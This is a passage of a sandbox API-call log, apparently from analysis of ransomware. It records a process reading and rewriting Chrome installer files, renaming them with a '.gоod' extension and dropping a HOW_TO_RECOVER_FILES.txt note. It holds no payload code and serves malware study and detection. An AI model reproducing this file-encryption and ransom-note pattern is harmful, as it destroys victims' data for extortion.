lpOldMode=0x1fbeba90) returned 1 [0095.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", lpFilePart=0x0) returned 0x51 [0095.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0095.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0095.596] GetFileType (hFile=0x7c8) returned 0x1 [0095.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0095.596] GetFileType (hFile=0x7c8) returned 0x1 [0095.597] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0095.597] ReadFile (in: hFile=0x7c8, lpBuffer=0x35fd010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x35fd010*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0095.603] CloseHandle (hObject=0x7c8) returned 1 [0095.603] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", lpFilePart=0x0) returned 0x51 [0095.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0095.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0095.603] GetFileType (hFile=0x7c8) returned 0x1 [0095.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0095.603] GetFileType (hFile=0x7c8) returned 0x1 [0095.603] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0xae7ae07 [0095.603] WriteFile (in: hFile=0x7c8, lpBuffer=0x35fe2b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35fe2b8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0095.605] CloseHandle (hObject=0x7c8) returned 1 [0095.605] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", lpFilePart=0x0) returned 0x51 [0095.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0095.605] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0095.605] GetFileType (hFile=0x7c8) returned 0x1 [0095.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0095.605] GetFileType (hFile=0x7c8) returned 0x1 [0095.605] ReadFile (in: hFile=0x7c8, lpBuffer=0x3600588, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3600588*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0096.932] CloseHandle (hObject=0x7c8) returned 1 [0096.932] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", lpFilePart=0x0) returned 0x51 [0096.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0096.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0096.932] GetFileType (hFile=0x7c8) returned 0x1 [0096.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0096.932] GetFileType (hFile=0x7c8) returned 0x1 [0096.932] WriteFile (in: hFile=0x7c8, lpBuffer=0x34bedb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x34bedb0*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0096.933] CloseHandle (hObject=0x7c8) returned 1 [0096.933] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z", lpFilePart=0x0) returned 0x51 [0096.933] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z.gоod", lpFilePart=0x0) returned 0x56 [0096.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0096.933] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe263d5fb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe263d5fb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x35fda82a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xae7ae17)) returned 1 [0096.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0096.933] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\chrome.7z.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\chrome.7z.gоod")) returned 1 [0096.934] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", lpFilePart=0x0) returned 0x51 [0096.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0096.934] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x37f5360 | out: lpFileInformation=0x37f5360*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe06f2740, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1cc958)) returned 1 [0096.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0096.934] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", lpFilePart=0x0) returned 0x51 [0096.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0096.935] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0096.935] GetFileType (hFile=0x7c8) returned 0x1 [0096.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0096.935] GetFileType (hFile=0x7c8) returned 0x1 [0096.935] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0096.935] ReadFile (in: hFile=0x7c8, lpBuffer=0x37f5798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x37f5798*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0097.760] CloseHandle (hObject=0x7c8) returned 1 [0097.760] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", lpFilePart=0x0) returned 0x51 [0097.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0097.761] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0097.762] GetFileType (hFile=0x7c8) returned 0x1 [0097.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0097.763] GetFileType (hFile=0x7c8) returned 0x1 [0097.763] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1cc958 [0097.763] WriteFile (in: hFile=0x7c8, lpBuffer=0x33b87b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x33b87b8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0097.789] CloseHandle (hObject=0x7c8) returned 1 [0097.789] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", lpFilePart=0x0) returned 0x51 [0097.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0097.789] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0097.790] GetFileType (hFile=0x7c8) returned 0x1 [0097.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0097.790] GetFileType (hFile=0x7c8) returned 0x1 [0097.790] ReadFile (in: hFile=0x7c8, lpBuffer=0x33f6328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x33f6328*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0097.867] CloseHandle (hObject=0x7c8) returned 1 [0097.867] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", lpFilePart=0x0) returned 0x51 [0097.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0097.867] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0097.868] GetFileType (hFile=0x7c8) returned 0x1 [0097.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0097.868] GetFileType (hFile=0x7c8) returned 0x1 [0097.868] WriteFile (in: hFile=0x7c8, lpBuffer=0x33f5070*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x33f5070*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0097.868] CloseHandle (hObject=0x7c8) returned 1 [0097.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe", lpFilePart=0x0) returned 0x51 [0097.868] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe.gоod", lpFilePart=0x0) returned 0x56 [0097.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0097.868] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4b7e268, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4b7e268, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x368cb775, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1cc968)) returned 1 [0097.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0097.868] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\setup.exe.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\setup.exe.gоod")) returned 1 [0097.871] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fbeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0097.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebc90) returned 1 [0097.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Installer\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\installer\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0097.872] GetFileType (hFile=0x7c8) returned 0x1 [0097.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbebc00) returned 1 [0097.872] GetFileType (hFile=0x7c8) returned 0x1 [0097.872] WriteFile (in: hFile=0x7c8, lpBuffer=0x3292e68*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1fbebd58, lpOverlapped=0x0 | out: lpBuffer=0x3292e68*, lpNumberOfBytesWritten=0x1fbebd58*=0x5d0, lpOverlapped=0x0) returned 1 [0097.873] CloseHandle (hObject=0x7c8) returned 1 [0097.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebd20) returned 1 [0097.873] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales", nBufferLength=0x105, lpBuffer=0x1fbeb7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales", lpFilePart=0x0) returned 0x45 [0097.874] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\*", lpFindFileData=0x1fbeba40 | out: lpFindFileData=0x1fbeba40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4620dd7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0097.875] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe295e71b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4620dd7, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4620dd7, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.876] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5176a4e4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x6368a, dwReserved0=0x0, dwReserved1=0x0, cFileName="am.pak", cAlternateFileName="")) returned 1 [0097.876] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5178eed4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x61971, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar.pak", cAlternateFileName="")) returned 1 [0097.876] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe44571e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe44571e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517a0044, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x7387a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg.pak", cAlternateFileName="")) returned 1 [0097.876] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517badf4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x96010, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn.pak", cAlternateFileName="")) returned 1 [0097.876] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x517e6d14, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47028, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca.pak", cAlternateFileName="")) returned 1 [0097.876] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4515ed1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4515ed1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5183c444, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4818c, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs.pak", cAlternateFileName="")) returned 1 [0097.876] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5185e724, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x40d21, dwReserved0=0x0, dwReserved1=0x0, cFileName="da.pak", cAlternateFileName="")) returned 1 [0097.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51871fa4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3d776, dwReserved0=0x0, dwReserved1=0x0, cFileName="de.pak", cAlternateFileName="")) returned 1 [0097.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x5189b7b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x7f4d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="el.pak", cAlternateFileName="")) returned 1 [0097.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518b6564, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3af54, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.pak", cAlternateFileName="")) returned 1 [0097.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518d8844, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x3b0d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1 [0097.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe456223f, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x518e99b4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x46331, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-419.pak", cAlternateFileName="")) returned 1 [0097.877] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1fbeba00 | out: lpFindFileData=0x1fbeba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe456223f, ftCreationTime.dwHighDateTime=0x1d327cb, 